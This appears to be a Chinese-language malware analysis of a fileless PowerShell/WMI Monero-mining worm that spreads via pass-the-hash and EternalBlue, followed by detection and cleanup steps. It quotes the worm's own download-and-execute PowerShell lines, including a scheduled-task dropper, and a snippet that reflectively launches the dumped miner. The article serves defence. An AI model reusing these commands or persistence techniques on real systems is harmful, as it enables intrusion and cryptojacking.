序文
最近,一種通過PowerShell腳本作為載體進行傳播的挖礦病毒在企業網絡中頻繁爆發,該病毒其利用了WMI+Powershell方式進行無文件攻擊,並長駐內存進行挖礦。還具有兩種橫向傳染機制,分別為WMIExec自動化爆破和MS17-010“永恆之藍”漏洞攻擊,極易在企業網的局域網內迅速傳播。某一天,當你檢查服務器,發現很多服務器的CPU使用率特別高,且使用進程為Powershell.exe時,那么基本可以判定,您的服務器中了Powershell挖礦病毒了。
病毒組成
通過wbemtest打開WMI測試器,連接到:root\Default時會發現Powershell挖礦病毒已經幫您新建了一個攻擊類之前的名稱叫:Win32_Services,后面有一些變種病毒創建的攻擊類更改了名稱為:System_Anti_Virus_Core。雙擊攻擊類后會發現,經過Base 64加密的攻擊代碼Base 64解碼器(http://www.heminjie.com/tool/base64.php))
病毒被加載后內存存在4個模塊,分別為挖礦模塊、Minikatz模塊、WMIExec模塊、MS17-010攻擊模塊。
1.首先,挖礦模塊啟動,持續進行挖礦。
2.其次,Minikatz模塊對目的主機進行SMB爆破,獲取NTLMv2數據。
3.然后,WMIExec使用NTLMv2繞過哈希認證,進行遠程執行操作,攻擊成功則執行shellcode使病原體再復制一份到目的主機並使之運行起來,流程結束。
4.最后,如WMIExec攻擊失敗,則嘗試使用MS17-010“永恆之藍”漏洞攻擊,攻擊成功則執行shellcode使病原體再復制一份到目的主機並使之運行起來(每感染一台,重復1、2、3、4)。此病毒采用的是WMI+Powershell的內存駐留方式,模塊以服務形式存在,每5600秒可自動觸發一次。
此次攻擊,WMIExec攻擊體和MS17-010攻擊體均為Powershell腳本,Minikatz為二進制程序。
此病毒會嘗試連入世界各大礦池地址,主要為歐美及亞太地區。另外,這次挖礦幣種為門羅幣,也有黑客錢包地址。
過Powershell腳本調用WMI二進制載荷實現挖礦
為了利益最大化,此病毒還會嘗試干掉其它挖礦進程
此PowershellMiner,做了一個操作系統適配和Minikatz數據更新機制。如果為info6.ps1,則運行起來后會判斷操作系統是否為64位的,若不是,則下載info3.ps1並替換執行。
同理,如果為info3.ps1,則運行起來后會判斷操作系統是否為32位的,若不是,則下載info6.ps1。為最大程度的完成SMB爆破效果,Minikatz模塊也會主動去下載最新的數據載荷(應用配置和密碼字典之類的數據)。
代碼分析
這里是鏈接備份防鏈接失效,請自覺略過方框里的內容
母體腳本
如下為捕獲到的樣本,也是一個唯一落地的BAT腳本,功能上算一個較為常見的PowerShell聯網下拉執行腳本。通過判斷WMI的
root\Subscription
命名空間下是否存在名為SCM Event Filter
的Consumer
,如果不存在則聯網下拉info6.ps1
腳本。
powershell "if(!(string).contains('SCM EventFilter')) { IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX:8000/info6.ps1') }"
提供病毒下載的服務器
其中,
- info.vbs 攜帶挖礦程序的vbs腳本,自身會寫入WMI
- info3.ps1 攜帶x86平台挖礦、攻擊腳本
- info6.ps1 攜帶x64平台挖礦、攻擊腳本
攻擊演示圖
info6.ps1主腳本
混淆嚴重
info6.ps1是一個混淆程度較高的powershell腳本,整體代碼只有兩行,但足有3.9M大小,真是”短小精悍”。
通過對該腳本進行2次去混淆並進行整理,最終得到一個較為清晰的內容,下文是其執行過程及其相關模塊的分析。
執行過程
1.初始化數據
通過對$fa進行分拆得到各個變量的數據,實際均經過base64編碼。
這些數據會存儲在
ManagementClass
中,而ManagementClass
的管理類是WMI,實際最終存儲在WMI 中,也即無文件
在取值的時候,則可以通過如下方式取出
# 取出mimi模塊 ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi']
2.判斷x64
大多數機器是x64的,但也有部分x86用戶,需要做兼容,實際功能代碼與info6.ps1一樣。
3. 解
fun
代碼
由於fun中有WMIExec和MS17010的攻擊包,還有一些是輔助功能函數,所以這里先引入,至於里面具體是什么請向下看。
4.釋放運行時dll
這些dll是挖礦程序需要用到的,所以這里早點釋放出來吧
5. 刪除其他WMI
6. 寫自己的WMI
其中FilterName與ConsumerName分別為
SCM Event Filter
,SCM Event Consumer
,間隔5600s執行一次”本腳本”功能,通過powershell傳入base64編碼后的腳本內容。
7. 善后、開工!
由於母體bat腳本是由ms17010 shellcode寫入temp路徑下的,原始名稱為y1.bat,並且通過寫計划任務的形式啟動,所以這里需要刪掉這個計划任務以及清理掉這個bat腳本。之后看看哪些powershell進程訪問了80端口,由於樣本攜帶的挖礦程序均訪問80端口,所以也以此判斷是否啟動了自己的挖礦程序,如果沒訪問那么就需要執行一次,當然為了保證工作環境的干凈,需要干掉疑似挖礦的其他powershell進程,通過判斷典型挖礦程序的的3333,5555端口訪問。
8. 攻擊、傳播!
為了保證挖礦效率,需要抓一些”礦工”,由於不會給工資,所以沒人願意白干。這里需要請WMIExec和MS17010兩位大哥出面協調。
通過枚舉網段IP,進行攻擊,由於給WMIExec 命令行參數傳錯,導致這個攻擊徹底廢了,那只好MS17010出馬了,通過調用C#實現的
[PingCastle.Scanners.ms17_010scanner]::SCAn
接口,以及SMB_EtERNAlbLue
函數進行攻擊。
模塊分析
繼上文說到本樣本使用了WMIExec和MS17010攻擊包,那么這些東西是什么,又是怎么引入的?這也是本節要說明的。
WMIExec
代碼來自Invoke-TheHash項目,一個基於.Net TCPClient,通過把NTLM hash傳遞給NTLMv2身份驗證協議來進行身份驗證的工具,執行時不需要本地管理員權限,傳送門
樣本作者封裝了一個test-ip函數,其參數2,4是通過mimikatz抓取的本地用戶hash,參數1,3分別是目標ip和回連web服務器。WMIExec執行的功能是通過寫一個VBS Download,下拉執行一個VBS腳本,同時下拉執行info6.ps1 (32位為info3.ps1)。
MS17010
雖然這個漏洞目前看來有點”過氣”,但畢竟也是RCE啊!
作者分別引入了掃描和exp模塊,掃描模塊,通過
Add-Type -TypeDefinition
的方式引入源代碼,這樣會在powershell運行過程中調起C#編譯器動態編譯,抓取到的命令行如下
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:"C:\Users[user]\AppData\Local\Temp\kr7amwim.dll" /D:DEBUG/debug+ /optimize- /warnaserror "C:\Users[user]\AppData\Local\Temp\kr7amwim.0.cs"
shellcode,執行如下命令
cmd /c echo powershell "if(!(string).contains('SCMEvent Filter')) {IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX/info6.ps1')}" >%temp%\y1.bat && SCHTASKS /create /RU System /SC WEEKLY /TNyastcat /f /TR "%temp%\y1.bat"&&SCHTASKS /run /TN yastcat
攻擊時截圖如下,
執行方式
樣本作者在PowerShell中攜帶的挖礦程序,會通過反射加載的方式進行啟動,具體可以用如下代碼模擬啟動
$mon = get-content ".\mon" #dump出的mon $funs = get-content ".\funs" #dump出的funs iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList@($mon, $mon, 'Void', 0, '', '')
(門羅畢)挖礦程序執行后,界面如下
info.vbs腳本
上文說了info6.ps1和其相關的輔助模塊,同時提到一次WMIExec攻擊成功之后,會下拉一個info.vbs腳本,但是由於傳入參數問題,這個是不會被下拉的,這里簡單分析下。vbs腳本依然存在混淆,通過提取、整理,如下,先將編碼后的另一個挖礦程序寫入到WMI中保存起來,使用的時候通過調用WriteBinary函數導出
InstallUpdateableT
完成寫一個WMI事件過濾器,間隔2h啟動一次,功能當然是取挖礦程序,釋放執行,這里不再贅述。
檢測&清除
- 通過代碼分析,本樣本實際傳播途徑主要為ms17010,所以提醒各位還是要及時安裝補丁。
檢測&清除PowerShell腳本代碼如下,請嘗試以管理員權限運行(請謹慎使用下列代碼,在自身不確定的情況下也可安裝金山毒霸進行檢測)
Write-host "[*] BadBee! Check&Clear!" $find = $false $mimi = $null $zlib = $null if (([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding )).contains('SCM Event Filter')) { $mimi = ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi'] $zlib = ([WmiClass] 'root\default:Win32_TaskService').Properties['zlib'] if (($mimi -and $mimi.value[0] -eq 'T' -and $mimi.value[1] -eq 'V' -and $mimi.value[2] -eq 'q') -or ($zlib -and $zlib.value[0] -eq 'T' -and $zlib.value[1] -eq 'V' -and $zlib.value[2] -eq 'q')) { Write-host "[*]Find BadBee!" $find = $true } } if ($find -eq $true) { Write-host "[+]C1ear WMI in..." gEt-wmIObjeCt -Namespace root\Subscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-wMiObjecT -Verbose GeT-wmiOBjECT -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose GET-WMioBject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-wmIOBjEcT -Verbose GeT-wmiOBjECT -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose ([WmiClass]'root\default:Win32_TaskService') | REmOVE-wmIOBjEcT -Verbose Write-host "[+]C1ear WMI out..." } else { Write-host "[-]C0ngratulation nothing to find ..." } Write-host "[*]all done ..."
處理Powershell挖礦病毒
首先應對:
1、隔離感染主機:已中毒計算機盡快隔離,關閉所有網絡連接,禁用網卡。
2、切斷傳播途徑:關閉潛在終端的SMB 445等網絡共享端口,關閉異常的外聯訪問。
3、查找攻擊源:借助安全感知類產品定位攻擊源。
查殺病毒:
查殺比較簡單,使用Autoruns工具(微軟官網可下),選擇WMI,如下圖,將該WMI啟動項刪除(該項底部詳細欄有“SELECT * FROM __InstanceModificationEvent WITHIN 5600”)。
手動刪除:
第一步:通過taskkill命令結束Powershell.exe進程:
taskkill /IM powershell.exe /F /S 10.1.13.30
taskkill /IM powershell.exe /F /S 10.1.13.51
第二步:刪除攻擊類:運行-wbemtest 打開WMI檢查器:
連接到默認的命名空間,點擊枚舉類
名字類似 Win32_Services,System_Anti_Virus_Core類的都刪除。
第三步:刪除“控制面板-系統和安全-管理工具-本地安全策略(運行:SECPOL.MSC)-IP安全策略在本地計算機”(默認是空)下的項目
修改主機賬號密碼,修補漏洞:
打上“永恆之藍”漏洞補丁,請到微軟官網,下載對應的漏洞補丁(https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx)。